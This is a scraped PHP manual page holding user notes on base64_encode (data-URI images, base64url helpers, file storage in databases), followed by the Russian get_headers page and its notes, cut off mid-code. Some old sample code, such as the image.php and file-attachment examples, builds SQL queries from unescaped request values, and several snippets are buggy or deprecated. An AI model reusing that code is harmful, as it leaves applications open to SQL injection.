This will greatly reduce your page load time as the browser will only need to send one server request for the entire page, rather than multiple requests for the HTML and the images. Requests need to be uploaded and 99% of the world are limited on their upload speed to the server.

<?php
function base64_encode_image ($filename=string,$filetype=string) {
    if ($filename) {
        $imgbinary = fread(fopen($filename, "r"), filesize($filename));
        return 'data:image/' . $filetype . ';base64,' . base64_encode($imgbinary);
    }
}
?>

used as so

<style type="text/css">
.logo {
    background: url("<?php echo base64_encode_image ('img/logo.png','png'); ?>") no-repeat right 5px;
}
</style>

or

<img src="<?php echo base64_encode_image ('img/logo.png','png'); ?>"/>
markrose at markrose dot ca 07-Jul-2011 03:15
An even faster way to line-breaks every 64th character is using the chunk_split function:

<?php
$string = chunk_split(base64_encode($string), 64, "\n");
?>
gutzmer at usa dot net 06-May-2011 09:12
For anyone interested in the 'base64url' variant encoding, you can use this pair of functions:

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>
andronick(dot)mail(dog)gmail(dot)com 09-Sep-2010 06:28
output images into html:

<?php

$imgfile = "test.gif";

$handle = fopen($filename, "r");

$imgbinary = fread(fopen($imgfile, "r"), filesize($imgfile));

echo '<img src="data:image/gif;base64,' . base64_encode($imgbinary) . '" />';

?>

gif - data:image/gif;base64,...
jpg - data:image/jpeg;base64,...
png - data:image/png;base64,...
etc.
jonb at wobblymusic dot com 06-Sep-2009 12:21
Note that some applications, such as OpenSSL's enc command, require that there be a line break every 64 characters in order for their base64 decode function to work. The following function will take care of this problem:

<?php
function ($encodeMe) {
    $data = base64_encode($encodeMe);
    $datalb = "";
    while (strlen($data) > 64) {
        $datalb .= substr($data, 0, 64) . "\n";
        $data = substr($data,64);
    }
    $datalb .= $data;
    return $datalb;
}
?>
MitMacher 07-Aug-2009 02:57
Unfortunately my "function" for encoding base64 on-the-fly from 2007 [which has been removed from the manual in favor of this post] had 2 errors!
The first led to an endless loop because of a missing "$feof"-check, the second caused the rare mentioned errors when encoding failed for some reason in larger files, especially when
setting fgets($fh, 2) for example. But lower values then 1024 are bad overall because they slow down the whole process, so 4096 will be fine for all purposes, I guess.
The error was caused by the use of "empty()".

Here comes the corrected version which I have tested for all kind of files and length (up to 4,5 Gb!) without any error:

<?php
$fh = fopen('Input-File', 'rb');
//$fh2 = fopen('Output-File', 'wb');

$cache = '';
$eof = false;

while (1) {

    if (!$eof) {
        if (!feof($fh)) {
            $row = fgets($fh, 4096);
        } else {
            $row = '';
            $eof = true;
        }
    }

    if ($cache !== '')
        $row = $cache.$row;
    elseif ($eof)
        break;

    $b64 = base64_encode($row);
    $put = '';

    if (strlen($b64) < 76) {
        if ($eof) {
            $put = $b64."\n";
            $cache = '';
        } else {
            $cache = $row;
        }

    } elseif (strlen($b64) > 76) {
        do {
            $put .= substr($b64, 0, 76)."\n";
            $b64 = substr($b64, 76);
        } while (strlen($b64) > 76);

        $cache = base64_decode($b64);

    } else {
        if (!$eof && $b64{75} == '=') {
            $cache = $row;
        } else {
            $put = $b64."\n";
            $cache = '';
        }
    }

    if ($put !== '') {
        echo $put;
        //fputs($fh2, $put);
        //fputs($fh2, base64_decode($put));        // for comparing
    }
}

//fclose($fh2);
fclose($fh);
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 08:21
I omitted the strtr functions in my examples.  Here are corrected functions:

<?php
function encode($x) {
    return strtr(base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x), '+/=', '-_~');
}

function decode($x) {
    $y = base64_decode(strtr($x, '-_~', '+/='));
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 06:35
I have another solution that is simple and elegant.  Create a pseudorandom string of characters.  Then, each time you want to obfuscate your key, append a random substring from the pseudorandom string and use base64 encoding.  When you want to de-obfuscate, convert back from base64.  If the prefix is not in your pseudorandom source, then the value is forged.  Otherwise, strip the prefix and recover your original key.

The advantages are that the string will look different even for the same key, and encoding and decoding should be extremely fast.

Here's an example:

<?php

// Call makeCksum once upon landing on the homepage
function makeCksum() {
       $str = "";
       for ($i=0;$i<32;++$i)
               $str .= chr(rand(32,126));
       $_SESSION['Cksum'] = $str;
}

function encode($x) {
    return base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x);
}

function decode($x) {
    $y = base64_decode($x);
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
Andi 31-Mar-2008 01:54
I needed a simple way to obfuscate auto_increment primary keys in databases when they are visible to users in URIs or API calls. The users should not be able to increment the id in the URL and see the next data record in the database table.

My solution (uses modified base64 functions by Tom):

function base64url_encode($plainText) {

    $base64 = base64_encode($plainText);
    $base64url = strtr($base64, '+/=', '-_,');
    return $base64url;
}

function base64url_decode($plainText) {

    $base64url = strtr($plainText, '-_,', '+/=');
    $base64 = base64_decode($base64url);
    return $base64;
}

function encryptId($int, $class='') {

    return base64url_encode($int.'-'.substr(sha1($class.$int.encryptionKey), 0, 6));
}

function decryptId($string, $class='') {

    $parts = explode('-', base64url_decode($string));
    if (count($parts) != 2) {

        return 0;
    }

    $int = $parts[0];
    return substr(sha1($class.$int.encryptionKey), 0, 6) === $parts[1]
        ? (int)$int
        : 0;
}

- The optional 2nd argument is the class name, so two equal ids of different tables will not result in two equal obfuscated ids.

- encryptionKey is a global secret key for encryption.

- decryptId() checks if the second part of the base64 encoded string is correct.
Tom 06-Dec-2006 10:20
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_encode($plainText)
    {
        $base64 = base64_encode($plainText);
        $base64url = strtr($base64, '+/', '-_');
        return ($base64url);
    }
    ?>

You may wish to rtrim (or escape) trailing ='s for use in a URI.
eric [at] d512 [dot] com 03-Dec-2006 07:42
Note that at least some Windows systems will not print a line of characters longer than a certain length unless it has line breaks of some kind.  So if you base-64 encode a file, print it back for debugging purposes, and see nothing, don't be alarmed.
dlyaza aT yahoo DOT com 22-Oct-2006 05:57
Using Function:
Output for HTML Put:
<img src="$self?image=file" border="0" alt="file">
<img src="$self?image=folder" border="0" alt="folder">

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAA
ARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5v
Gc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAA
CH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUll
NOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAA
AARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3
dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AA
AIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}
php at ianco dot co dot uk 22-Sep-2006 08:25
I am finding a length restriction with base64_encode (or possibly with echo) in PHP 4.3.9.
This works ok for me:
<?php
echo strlen(str_repeat('-', 3273)); // 3273
echo strlen(base64_encode(str_repeat('-', 3273))); // 4364
echo base64_encode(str_repeat('-', 3273)); // LS0t repeated
?>
But change the length to 3274 and the third echo prints nothing.
<?php
echo strlen(str_repeat('-', 3274)); // 3274
echo strlen(base64_encode(str_repeat('-', 3274))); // 4368
echo base64_encode(str_repeat('-', 3274)); // Nothing at all printed
?>
This has obvious implications if you're wanting to encode a fairly large serialized array and echo it to a form field.
peter at mailinator dot com 23-Jul-2006 02:06
If you want to decode base64 encoded data in Javascript, you can use the tool (Webtoolkit.base64) on this website: http://www.webtoolkit.info/
dawgeatschikin at hotmail dot com 27-Mar-2006 08:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com 23-Mar-2006 07:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com 23-Mar-2006 03:02
function urlsafe_b64encode($string) {
    $data = base64_encode($string);
    $data = str_replace(array('+','/','='),array('-','_',''),$data);
    return $data;
}

function urlsafe_b64decode($string) {
    $data = str_replace(array('-','_'),array('+','/'),$string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca 17-Mar-2006 01:45
If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
    $binval = convert_binary_str($string);
    $final = "";
    $start = 0;
    while ($start < strlen($binval)) {
        if (strlen(substr($binval,$start)) < 6)
            $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
        $tmp = bindec(substr($binval,$start,6));
        if ($tmp < 26)
            $final .= chr($tmp+65);
        elseif ($tmp > 25 && $tmp < 52)
            $final .= chr($tmp+71);
        elseif ($tmp == 62)
            $final .= "+";
        elseif ($tmp == 63)
            $final .= "/";
        elseif (!$tmp)
            $final .= "A";
        else
            $final .= chr($tmp-4);
        $start += 6;
    }
    if (strlen($final)%4>0)
        $final .= str_repeat("=",4-strlen($final)%4);
    return $final;
}

function convert_binary_str($string) {
    if (strlen($string)<=0) return;
    $tmp = decbin(ord($string[0]));
    $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
    return $tmp.convert_binary_str(substr($string,1));
}

?>
virtuall at virtuall dot info 06-Dec-2005 01:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
    echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
    function base64_urlencode($str) {
        return urlencode(base64_encode($str));
    };
?>
Cristiano Calligaro 25-Aug-2005 03:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
juha at kuhazor dot idlegames dot com 21-Jun-2004 08:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
guy at bhaktiandvedanta dot com 01-Oct-2002 05:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor


Возвращает все заголовки из ответа сервера на HTTP-запрос

  • « base64_encode
  • get_meta_tags »
  • PHP Manual
  • Функции URL
  • Возвращает все заголовки из ответа сервера на HTTP-запрос

get_headers

(PHP 5, PHP 7, PHP 8)

get_headers — Возвращает все заголовки из ответа сервера на HTTP-запрос

Описание

get_headers(string $url, bool $associative = false, ?resource $context = null): array|false

get_headers() возвращает массив с заголовками из ответа сервера на HTTP-запрос.

Список параметров

url

Целевой URL.

associative

Если необязательный параметр associative установлен в ненулевое значение, get_headers() разберёт ответ сервера и установит ключи для возвращаемого массива.

context

Корректный контекст ресурса, созданный с помощью stream_context_create() или null, чтобы использовать контекст ресурса по умолчанию.

Возвращаемые значения

Возвращает индексированный или ассоциативный массив с заголовками ответа или false при возникновении ошибки.

Список изменений

Версия | Описание
8.0.0 | Тип параметра associative был изменён с целого числа (int) на логическое значение (bool).
7.1.0 | Добавлен параметр context.

Примеры

Пример #1 Пример использования get_headers()

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, true));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

Пример #2 Пример использования запроса HEAD в функцииget_headers()

<?php
// По умолчанию функция get_headers использует GET-запрос для получения заголовков. Если
// вы хотите вместо него отправить HEAD-запрос, то это можно сделать, используя контекста потока:
$context = stream_context_create(
[
'http' => array(
'method' => 'HEAD'
)
]
);
$headers = get_headers('http://example.com', false, $context);
?>

Смотрите также

  • apache_request_headers() - Получает список всех заголовков HTTP-запроса

User Contributed Notes

https://twitter.com/jonathansampson 27-Feb-2022 06:32
When requesting headers as an associative array, it's important to note that headers with different casing will NOT be treated as equal. If your first redirect contains a "location" header, and your second contains a "Location" header (note the uppercase L), these will appear as two different keys in your associative array.

The following is one attempt at creating an alternative to get_headers which normalizes the header names, while also offering the same functionality (with the same signature) as the native get_headers function:

<?php

    function getHeaders ( string $location, bool $associative = true, $context = null ) : array | bool {

        $indexer = 0;
        $results = [];
        $headers = get_headers( $location, false, $context );

        if ( $headers ) {

            foreach ( $headers as $header ) {

                if ( strpos( $header, ":" ) ) {

                    $parts = explode( ":", $header, 2 );
                    $key = strtolower( $parts[0] );
                    $value = trim( $parts[1] );

                    if ( !$associative ) {
                        $results[ $indexer++ ] = "{$key}: {$value}";
                        continue;
                    }

                    /**
                     * If the header name hasn't yet been encountered, we
                     * add it to the `results` array, storing the value as
                     * a string.
                     *
                     * If the header name has been encountered already (it
                     * has already been stored in the `results` array), and
                     * is an array, we'll push the current value.
                     *
                     * If the header name has been encountered, but currently
                     * points to a string, we will replace with an array, but
                     * keep the original string at index 0.
                     */
                    if ( !key_exists( $key, $results ) ) {
                        $results[ $key ] = $value;
                    } else if ( is_array( $results[ $key ] ) ) {
                        array_push( $results[ $key ], $value );
                    } else {
                        $results[ $key ] = [ $results[ $key ], $value ];
                    }

                    continue;

                }

                // No ':' found in the header, so we'll preserve as-is.
                $results[ $indexer++ ] = $header;

            }

            return $results;

        }

        return false;

    }

?>
mcilva 15-Oct-2018 05:17
How to check if a url points to a valid video

<?php
function isVideo($url){
    $url = get_headers($url,1);
    if(is_array($url['Content-Type'])){ //In some responses Content-type is an array
        $video = strpos($url['Content-Type'][1],'video');
    }else{
        $video = strpos($url['Content-Type'],'video');
    }
    if($video !== false)
        return true;

    return false;
}

?>
MarkAgius at markagius dot co dot uk 28-Dec-2017 04:48
The following code dose NOT work with PHP version 7.0.26 with my server.

Some other setting may be required?

Tried with website pages and path to local files.
The word 'Finished' is printed only.

<?php
$url = 'http://www.example.com';
$url = '/home/dirName/public_html/dir/file.html';
$url = 'http://php.net/manual/en/function.get-headers.php';

print "<PRE>\n";
print_r(get_headers($url));
print "\n";
print_r(get_headers($url, 1));
print "</PRE>\n";
print "Finished.<BR\n";
?>
dongchao769390531 at 163 dot com 07-Jun-2017 06:43
<?php
/**
 * We can use get_headers to check image url is real image resource or not
 * Only check image url format is not safe
 * @param string $link
 * @return boolean
 */
function checkImageContentType($link){
    //Set the second parameter as 1, then get "Content-Type" value
    $imgHeader = get_headers($link,1);
    if(!isset($imgHeader['Content-Type'])){
        //No "Content-Type" in headers, then that image url is not a real image resource
        return false;
    }
    //A regular pattern to check "Content-Type" value
    $imgPattern = '/^image\/(jpeg|gif|png|svg)[;\w\=\+]*$/';
    //Some image resource's "Content-Type" may be an array
    if(is_array($imgHeader['Content-Type'])){
        //Check the resource's Content-Type is accord with the regular pattern or not
        $typeArr = preg_grep($imgPattern,$imgHeader['Content-Type']);
        if(empty($typeArr)){
            return false;
        }
    }elseif(is_string($imgHeader['Content-Type'])){
        //Image resource's "Content-Type" may be a simple string
        if(!preg_match($imgPattern,$imgHeader['Content-Type'])){
            return false;
        }
    }else{
        return false;
    }
    return true;
}

//A image url(php logo from php.net), a legal image resource url
$link = 'http://php.net/images/logos/php-logo.svg';
var_dump(checkImageContentType($link));// return true

//An illegal image resource url
$link = 'http://php.net/images/logos.jpg';
var_dump(checkImageContentType($link));// return false
?>
bunny at bunny dot hu 22-Oct-2016 02:26
If the URL redirected and the new target is also redirected, we got the Locations in array. Also we got the HTTP codes in a number indexed values.

Here a PART of the header (not all), how it is look like with this redirection chain ( the id=4 is the landing page):
/test.php?id=1 -> /test.php?id=2 -> /test.php?id=3 -> /test.php?id=4

array
(
    [0] => HTTP/1.1 302 Moved Temporarily

    [Location] => Array
        (
            [0] => /test.php?id=2
            [1] => /test.php?id=3
            [2] => /test.php?id=4
        )

    [1] => HTTP/1.1 302 Moved Temporarily
    [2] => HTTP/1.1 302 Moved Temporarily
    [3] => HTTP/1.1 200 OK
)

In a typical situation we need only the landing page information, so here is a small code to get it:

$result = array();
$header = get_headers($url, 1);
foreach ($header as $key=>$value) {
    if (is_array($value)) {
        $value = end($value);
    }
    $result[$key] = $value;
}
sidnash56 at gmail dot com 21-Jun-2016 11:30
To check URL validity, this has been working nicely for me:

function url_valid(&$url) {
  $file_headers = @get_headers($url);
  if ($file_headers === false) return false; // when server not found
  foreach($file_headers as $header) { // parse all headers:
    // corrects $url when 301/302 redirect(s) lead(s) to 200:
    if(preg_match("/^Location: (http.+)$/",$header,$m)) $url=$m[1];
    // grabs the last $header $code, in case of redirect(s):
    if(preg_match("/^HTTP.+\s(\d\d\d)\s/",$header,$m)) $code=$m[1];
  } // End foreach...
  if($code==200) return true; // $code 200 == all OK
  else return false; // All else has failed, so this must be a bad link
} // End function url_exists
bobray at softville dot com 11-May-2015 05:29
Testing the validity of a URL that is preceded by one or more server redirects is tricky. There will be more than one status code returned and all but the first will be redirect codes.

This function will return an integer containing the three digit status code of the last code returned, which is what you want.

    function getStatus($url) {
        $headers = @get_headers($url, true);
        $value = NULL;
        if ($headers === false) {
            return $headers;
        }
        foreach ($headers as $k => $v) {
            if (!is_int($k)) {
                continue;
            }
            $value = $v;
        }

        return (int) substr($value, strpos($value, ' ', 8) + 1, 3);
     }

If getHeaders() fails, PHP will throw an error. Test the return value for === false.
pegasus at vaultwiki dot org 29-Apr-2015 02:41
Note that get_headers should not be used against a URL that was gathered via user input. The timeout option in the stream context only affects the idle time between data in the stream. It does not affect connection time or the overall time of the request.

(Unfortunately, this is not mentioned in the docs for the timeout option, but has been discussed in a number of code discussions elsewhere, and I have done my own tests to confirm the conclusions of those discussions.)

Thus it is very easy for a user to give you a URL that acts like a Slowloris attack - feeding your get_headers function 1 header only often enough to avoid the stream timeout.

If you are publishing your code, even default_socket_timeout cannot be relied on to remedy this, because it is broken for the HTTPS protocol on many but the more recent versions of PHP: https://bugs.php.net/bug.php?id=41631

With get_headers accepting user input, it can be very easy for an attacker to make all of your PHP child processes become busy.

Instead, use cURL functions to get headers for a URL provided by the user and parse those headers manually, as CURLOPT_TIMEOUT applies to the entire request.
cees at cornelisdigitaal dot nl 23-Feb-2015 09:20
@Jim Greene:

if the URL does not exist, it returns incomplete headers, making the substring default to rubbish.

The integer value of rubbish is always 0. So your lower than 400 does not always means it exists!
Kubo2 24-Nov-2013 09:55
If you don't want to display Warning when get_headers() function fails, you can simply add at-sign (@) before it.

<?php

// in failure, Warning will be hidden and false returned
$withoutWarning = @get_headers("http://www.some-domain.com");

// in  failure, Warning displays and false will be returned, too
$withWarning = get_headers("http://www.some-domain.com");

// bool(false)
var_dump($withoutWarning);
// bool(false)
var_dump($withWarning);
?>
Jim Greene 09-Jul-2013 02:47
I know you're not supposed to reference other notes, but sincere props to Nick at Innovaweb's comment, for which I base this addition to his idea:

If you use that function, it will return a string, which is great if you are checking for only files that return 404, or 200, or whatnot.  If you cast the string value to an integer, you can perform mathematical comparison on it.

For example:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}

if(intval(get_http_response_code('filename.jpg')) < 400){
// File exists, huzzah!
}
?>

Rule of thumb is if the response is less than 400, then the file's there, even if it doesn't return 200.
Backslider 15-Feb-2012 07:06
It should be noted that rather than returning "false" on failure, this function (and others) return a big phat WARNING that will halt your script in its tracks if you do not have error reporting /warning turned off.

Thats just insane!  Any function that does something like fetch a URL should simply return false, without a warning, if the URL fails for whatever reason other than it is badly formatted.
damolp at hotmail dot com 03-Jul-2011 05:43
I found that this function is the slowest in obtaining the headers of a page probably because it uses a GET request rather then a HEAD request. Over 10,000,000 trials of obtaining the headers of a page from a server i found the following (results in seconds).

cURL: Mean: 0.584127946. Sigma: 0.050581736.
fsocketopen: Mean: 0.622114251. Sigma: 0.263170424.
get_headers: Mean: 0.90375551. Sigma: 0.273823419.

cURL was the fastest with fsocketopens being the second fastest. I noticed as well that fsocketopen had some outliers where as cURL did not.
Lukas Najduk 11-Jan-2011 03:36
Unfortunately there is still no useful output format to handle redirects.

This function will bring all non-broken headers into a usable format. Too bad it has to call the get_headers() funtion 2 times, but i dont see any other possibility right now.

<?php
function page_get_headers($crawl_uri) {
    // get the array values where to split the second get headers return
    $headers = get_headers($crawl_uri, 1);
    if (empty($headers)) {
        return array();
    }
    $splitmarks = array();
    foreach ($headers as $key=>$h) {
        if (is_numeric($key)) {
            array_push($splitmarks, $h);
        }
    }

    // get the "real" headers
    $headers_final = array();
    $i = 0;
    $headers = get_headers($crawl_uri);
    foreach ($headers as $head) {
        // if the value is one of the splitmarks, start the next header
        if (array_key_exists($i, $splitmarks) && $head === $splitmarks[$i]) {
            $i++;
        }
        else {
            // get the headers name
            $tmp = explode(": ", $head, 2);
            // check if the header is already existing, if yes, parse the similar header to an array
            if (!empty($headers_final[$i-1][$tmp[0]])) {
                if (is_array($headers_final[$i-1][$tmp[0]])) {
                    array_push($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
                else {
                    $headers_final[$i-1][$tmp[0]] = array($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
            }
            else {
                $headers_final[$i-1][$tmp[0]] = $tmp[1];
            }
        }
    }
    return $headers_final;
}
?>
Weboide 25-Sep-2010 06:13
Note that get_headers **WILL follow redirections** (HTTP redirections). New headers will be appended to the array if $format=0. If $format=1 each redundant header will be an array of multiple values, one for each redirection.

For example:

<?php
$url = 'http://google.com';
var_dump(get_headers($url,0));
/*array(18) {
  [0]=>  string(30) "HTTP/1.0 301 Moved Permanently"
  [1]=>  string(32) "Location: http://www.google.com/"
  [2]=>  string(38) "Content-Type: text/html; CHARSET=Windows-1251"
  [3]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:50 GMT"
  [4]=>  string(38) "Expires: Tue, 26 Oct 2010 00:59:50 GMT"
  [5]=>  string(38) "Cache-Control: public, max-age=2592000"
....
  string(15) "HTTP/1.0 200 OK"
  [10]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:51 GMT"
  [11]=>  string(11) "Expires: -1"
  [12]=>  string(33) "Cache-Control: private, max-age=0"
.....
}*/

/*===========================*/

var_dump(get_headers($url,1));
/*array(11) {
  [0]=>
  string(30) "HTTP/1.0 301 Moved Permanently"
  ["Location"]=>  string(22) "http://www.google.com/"
  ["Content-Type"]=>  array(2) {
    [0]=>    string(24) "text/html; CHARSET=Windows-1251"
    [1]=>    string(29) "text/html; charset=ISO-8859-1"
  }
  ["Date"]=>  array(2) {
    [0]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
    [1]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
  }
  ["Expires"]=>  array(2) {
    [0]=>    string(29) "Tue, 26 Oct 2010 01:03:39 GMT"
    [1]=>    string(2) "-1"
  }
  ["Cache-Control"]=>  array(2) {
    [0]=>    string(23) "public, max-age=2592000"
    [1]=>    string(18) "private, max-age=0"
  }
.....
}*/
?>
nick at innovaweb dot co dot uk 02-May-2010 05:28
Seems like there are some people who are looking for only the 3-digit HTTP response code  - here is a quick and nasty solution:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}
?>

How easy is that? Echo the function containing the URL you want to check the response code for, and voila. Custom redirects, alternative for blocked is_file() or flie_exists() functions (like I seem to have on my servers) hence the cheap workaround. But hey - it works!

Pudding
php at hm2k dot org 28-Jan-2010 10:20
<?php
/**
 * Fetches all the real headers sent by the server in response to a HTTP request without redirects
 *
 * @link      http://php.net/function.get_headers
 * @link      http://bugs.php.net/bug.php?id=50719
 */

function get_real_headers($url,$format=0,$follow_redirect=0) {
  if (!$follow_redirect) {
    //set new default options
    $opts = array('http' =>
        array('max_redirects'=>1,'ignore_errors'=>1)
    );
    stream_context_get_default($opts);
  }
  //get headers
    $headers=get_headers($url,$format);
    //restore default options
  if (isset($opts)) {
    $opts = array('http' =>
        array('max_redirects'=>20,'ignore_errors'=>0)
    );
    stream_context_get_default($opts);
  }
  //return
    return $headers;
}
?>
gabe at vtunnel dot com 22-Apr-2009 01:23
In some cases, you don't want get_headers to follow redirects. For example, some of my servers can access a particular website, which sends a redirect header. The site it is redirected to, however, has me firewalled. I need to take the 302 redirected url, and do something to it to give me a new url that I *can* connect to.

The following will give you output similar to get_headers, except it has a timeout, and it doesn't follow redirects:

<?php
function get_headers_curl($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL,            $url);
    curl_setopt($ch, CURLOPT_HEADER,         true);
    curl_setopt($ch, CURLOPT_NOBODY,         true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT,        15);

    $r = curl_exec($ch);
    $r = split("\n", $r);
    return $r;
}

If you do want to follow redirects, you can do something like this:

$go = 1;
$i = 1;

while ($go && $i < 6)
{
    $headers = get_headers_curl($url);
    $go = getNextLocation($headers);
    if ($go)
    {
        $url = modifyUrl($go);
    }
    $i++;
}

function getNextLocation($headers)
{
    $array = $headers;
    $count = count($array);

    for ($i=0; $i < $count; $i++)
    {
        if (strpos($array[$i], "ocation:"))
        {
                $url = substr($array[$i], 10);
        }
    }
    if ($url)
    {
        return $url;
    }
    else
    {
        return 0;
    }
}
?>
info at marc-gutt dot de 21-Jun-2008 05:04
Should be the same than the original get_headers():

<?php
if (!function_exists('get_headers')) {
function get_headers($url, $format=0) {
    $headers = array();
    $url = parse_url($url);
    $host = isset($url['host']) ? $url['host'] : '';
    $port = isset($url['port']) ? $url['port'] : 80;
    $path = (isset($url['path']) ? $url['path'] : '/') . (isset($url['query']) ? '?' . $url['query'] : '');
    $fp = fsockopen($host, $port, $errno, $errstr, 3);
    if ($fp)
    {
        $hdr = "GET $path HTTP/1.1\r\n";
        $hdr .= "Host: $host \r\n";
        $hdr .= "Connection: Close\r\n\r\n";
        fwrite($fp, $hdr);
        while (!feof($fp) && $line = trim(fgets($fp, 1024)))
        {
            if ($line == "\r\n") break;
            list($key, $val) = explode(': ', $line, 2);
